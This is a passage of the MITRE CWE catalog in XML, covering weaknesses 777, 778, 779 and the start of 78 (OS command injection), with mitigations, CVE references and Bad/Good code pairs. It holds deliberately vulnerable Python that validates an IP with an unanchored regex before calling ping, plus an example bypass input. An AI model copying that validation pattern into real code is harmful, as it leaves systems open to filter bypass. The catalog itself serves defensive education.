		  import subprocess<xhtml:br/>
		  import re<xhtml:br/>
		  <xhtml:br/>
		  def validate_ip_regex(ip: str):<xhtml:br/>
		  <xhtml:div style="margin-left:1em;">
		    ip_validator = re.compile(r"((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}")<xhtml:br/>
		    if ip_validator.match(ip):<xhtml:br/>
		    <xhtml:div style="margin-left:1em;">
		      return ip<xhtml:br/>
		    </xhtml:div>
		    else:<xhtml:br/>
		    <xhtml:div style="margin-left:1em;">
		      raise ValueError("IP address does not match valid pattern.")<xhtml:br/>
		    </xhtml:div>
		  </xhtml:div>
		  <xhtml:br/>
		  def run_ping_regex(ip: str):<xhtml:br/>
		  <xhtml:div style="margin-left:1em;">
		    validated = validate_ip_regex(ip)<xhtml:br/>
		    <xhtml:i># The ping command treats zero-prepended IP addresses as octal</xhtml:i><xhtml:br/>
		    result = subprocess.call(["ping", validated])<xhtml:br/>
		    print(result)<xhtml:br/>
		  </xhtml:div>
		</xhtml:div>
	      </Example_Code>
	      <Body_Text>Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without ^ or $ characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.</Body_Text>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-30034</Reference>
               <Description>Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30034</Link>
            </Observed_Example>
         </Observed_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-06-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="778" Name="Insufficient Logging" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>When a security-critical event occurs, the product either does not record the event or omits important details about the event when logging it.</Description>
         <Extended_Description>
	 <xhtml:p>When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds.</xhtml:p>
	 <xhtml:p>As organizations adopt cloud storage resources, these technologies often require configuration changes to enable detailed logging information, since detailed logging can incur additional costs. This could lead to telemetry gaps in critical audit logs. For example, in Azure, the default value for logging is disabled. </xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="223" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	    <Technology Class="Cloud Computing" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Operation</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>If security critical information is not recorded, there will be no trail for forensic analysis and discovering the cause of problems or the source of attacks may become more difficult or impossible.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use a centralized logging mechanism that supports multiple levels of detail.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that all security-related successes and failures can be logged. When storing data in the cloud (e.g., AWS S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to enable and capture detailed logging information.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Be sure to set the level of logging appropriately in a production environment. Sufficient data should be logged to enable system administrators to detect attacks, diagnose errors, and recover from attacks. At the same time, logging too much data (CWE-779) can cause the same problems, including unexpected costs when using a cloud environment.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>To enable storage logging using Azure's Portal, navigate to the name of the Storage Account, locate Monitoring (CLASSIC) section, and select Diagnostic settings (classic). For each of the various properties (blob, file, table, queue), ensure the status is properly set for the desired logging data. If using PowerShell, the Set-AzStorageServiceLoggingProperty command could be called using appropriate -ServiceType, -LoggingOperations, and -RetentionDays arguments.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The example below shows a configuration for the service security audit feature in the Windows Communication Foundation (WCF).</Intro_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;system.serviceModel&gt;<xhtml:div style="margin-left:1em;">&lt;behaviors&gt;<xhtml:div style="margin-left:1em;">&lt;serviceBehaviors&gt;<xhtml:div style="margin-left:1em;">&lt;behavior name="NewBehavior"&gt;<xhtml:div style="margin-left:1em;">&lt;serviceSecurityAudit auditLogLocation="Default"<xhtml:br/>suppressAuditFailure="false"<xhtml:br/>serviceAuthorizationAuditLevel="None"<xhtml:br/>messageAuthenticationAuditLevel="None" /&gt;<xhtml:br/></xhtml:div>...</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>&lt;/system.serviceModel&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The previous configuration file has effectively disabled the recording of security-critical events, which would force the administrator to look to other sources during debug or recovery efforts.</Body_Text>
               <Body_Text>Logging failed authentication attempts can warn administrators of potential brute force attacks. Similarly, logging successful authentication events can provide a useful audit trail when a legitimate account is compromised. The following configuration shows appropriate settings, assuming that the site does not have excessive traffic, which could fill the logs if there are a large number of success or failure events (CWE-779).</Body_Text>
               <Example_Code Nature="Good" Language="XML">
                  <xhtml:div>&lt;system.serviceModel&gt;<xhtml:div style="margin-left:1em;">&lt;behaviors&gt;<xhtml:div style="margin-left:1em;">&lt;serviceBehaviors&gt;<xhtml:div style="margin-left:1em;">&lt;behavior name="NewBehavior"&gt;<xhtml:div style="margin-left:1em;">&lt;serviceSecurityAudit auditLogLocation="Default"<xhtml:br/>suppressAuditFailure="false"<xhtml:br/>serviceAuthorizationAuditLevel="SuccessAndFailure"<xhtml:br/>messageAuthenticationAuditLevel="SuccessAndFailure" /&gt;<xhtml:br/></xhtml:div>
                              ...</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>&lt;/system.serviceModel&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the code attempts to authenticate the user. If the login fails a retry is made. Proper restrictions on the number of login attempts are of course part of the retry functionality. Unfortunately, the failed login is not recorded and there would be no record of an adversary attempting to brute force the program.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>if LoginUser(){
                     <xhtml:div style="margin-left:1em;">// Login successful<xhtml:br/>
		     RunProgram();</xhtml:div>
                  } else {
                     <xhtml:div style="margin-left:1em;">// Login unsuccessful<xhtml:br/>
		     LoginRetry();</xhtml:div>
                  }</xhtml:div>
               </Example_Code>
               <Body_Text>It is recommended to log the failed login action. Note that unneutralized usernames should not be part of the log message, and passwords should never be part of the log message.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>if LoginUser(){
                     <xhtml:div style="margin-left:1em;">// Login successful<xhtml:br/>
		     log.warn("Login by user successful.");<xhtml:br/>
		     RunProgram();</xhtml:div>
                     } else {
                     <xhtml:div style="margin-left:1em;">
		       // Login unsuccessful<xhtml:br/>
		       log.warn("Login attempt by user failed, trying again.");<xhtml:br/>
		     LoginRetry();</xhtml:div>
                  }</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Consider this command for updating Azure's Storage Logging for Blob service, adapted from [REF-1307]:</Intro_Text>
               <Example_Code Nature="Bad" Language="Shell">
                  <xhtml:div>az storage logging update --account-name --account-key --services b --log d --retention 90</xhtml:div>
	       </Example_Code>
	       <Body_Text>The "--log d" portion of the command says to log deletes. However, the argument does not include the logging of writes and reads. Adding the "rw" arguments to the -log parameter will fix the issue:</Body_Text>
               <Example_Code Nature="Good" Language="Shell">
                  <xhtml:div>az storage logging update --account-name --account-key --services b --log rwd --retention 90</xhtml:div>
	       </Example_Code>
	       <Body_Text>To enable Azure's storage analytic logs programmatically using PowerShell:</Body_Text>
               <Example_Code Nature="Good" Language="Shell">
                  <xhtml:div>Set-AzStorageServiceLoggingProperty -ServiceType Queue -LoggingOperations read,write,delete -RetentionDays 5 -Context $MyContextObject</xhtml:div>
	       </Example_Code>
	       <Body_Text>Notice that here, the retention has been limited to 5 days.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-4315</Reference>
               <Description>server does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4315</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1203</Reference>
               <Description>admin interface does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1203</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3730</Reference>
               <Description>default configuration for POP server does not log source IP or username for login attempts</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3730</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1225</Reference>
               <Description>proxy does not log requests without "http://" in the URL, allowing web surfers to access restricted web content without detection</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1225</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1566</Reference>
               <Description>web server does not log requests for a non-standard request type</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1566</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Accountability&#34;, Page 40"/>
	    <Reference External_Reference_ID="REF-1307" Section="Sections 3.5, 3.13, and 3.14"/>
	    <Reference External_Reference_ID="REF-1308"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-07-02</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Organization>Fortify Software</Contribution_Organization>
               <Contribution_Date>2009-07-02</Contribution_Date>
               <Contribution_Comment>Provided code example and additional information for description and consequences.</Contribution_Comment>
            </Contribution>
            <Contribution Type="Content">
               <Contribution_Name>Drew Buttner</Contribution_Name>
               <Contribution_Date>2022-08-15</Contribution_Date>
               <Contribution_Comment>Suggested a new demonstrative example and changes to the mitigations.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="779" Name="Logging of Excessive Data" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack.</Description>
         <Extended_Description>While logging is a good practice in general, and very high levels of logging are appropriate for debugging stages of development, too much logging in a production environment might hinder a system administrator's ability to detect anomalous conditions. This can provide cover for an attacker while attempting to penetrate a system, clutter the audit trail for forensic analysis, or make it more difficult to debug problems in a production environment.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="400" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Operation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>Log files can become so large that they consume excessive resources, such as disk and CPU, which can hinder the performance of the system.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>Logging too much information can make the log files of less use to forensics analysts and developers when trying to diagnose a problem or recover from an attack.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>If system administrators are unable to effectively process log files, attempted attacks may go undetected, possibly leading to eventual system compromise.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Suppress large numbers of duplicate log messages and replace them with periodic summaries. For example, syslog may include an entry that states "last message repeated X times" when recording repeated events.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Support a maximum size for the log file that can be controlled by the administrator. If the maximum size is reached, the admin should be notified. Also, consider reducing functionality of the product. This may result in a denial-of-service to legitimate product users, but it will prevent the product from adversely impacting the entire system.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Adjust configurations appropriately when the product is transitioned from a debug state to production.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-0421</Reference>
               <Description>server records a large amount of data to the server log when it receives malformed headers</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0421</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1154</Reference>
               <Description>chain: application does not restrict access to front-end for updates, which allows attacker to fill the error log</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1154</Link>
            </Observed_Example>
         </Observed_Examples>
	 <Taxonomy_Mappings>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 3-3</Entry_ID>
	     <Entry_Name>Req SR 7.2</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SD-1</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SVV-3</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-2</Entry_ID>
	     <Entry_Name>Req CR 7.2</Entry_Name>
	   </Taxonomy_Mapping>
	 </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-07-02</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="78" Name="Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')" Abstraction="Base" Structure="Simple" Status="Stable">
         <Description>The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.</Description>
         <Extended_Description>
            <xhtml:p>This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.</xhtml:p>
            <xhtml:p>There are at least two subtypes of OS command injection:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.</xhtml:li>
                  <xhtml:li>The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.</xhtml:li>
               </xhtml:ul>
            <xhtml:p>From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="77" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="77" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="77" View_ID="1340" Ordinal="Primary"/>
             <Related_Weakness Nature="CanAlsoBe" CWE_ID="88" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Shell injection</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Shell metacharacters</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Non-Repudiation</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>Hide Activities</Impact>
               <Note>Attackers could execute unauthorized commands, which could then be used to disable the product, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-1">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.</xhtml:p>
                  <xhtml:p>Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.</xhtml:p>
                  <xhtml:p>Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.</xhtml:p>
               </Description>
               <Effectiveness_Notes>This is not a perfect solution, since 100% accuracy and coverage are not feasible.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>This weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-10">
               <Method>Manual Static Analysis</Method>
               <Description>Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.</Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
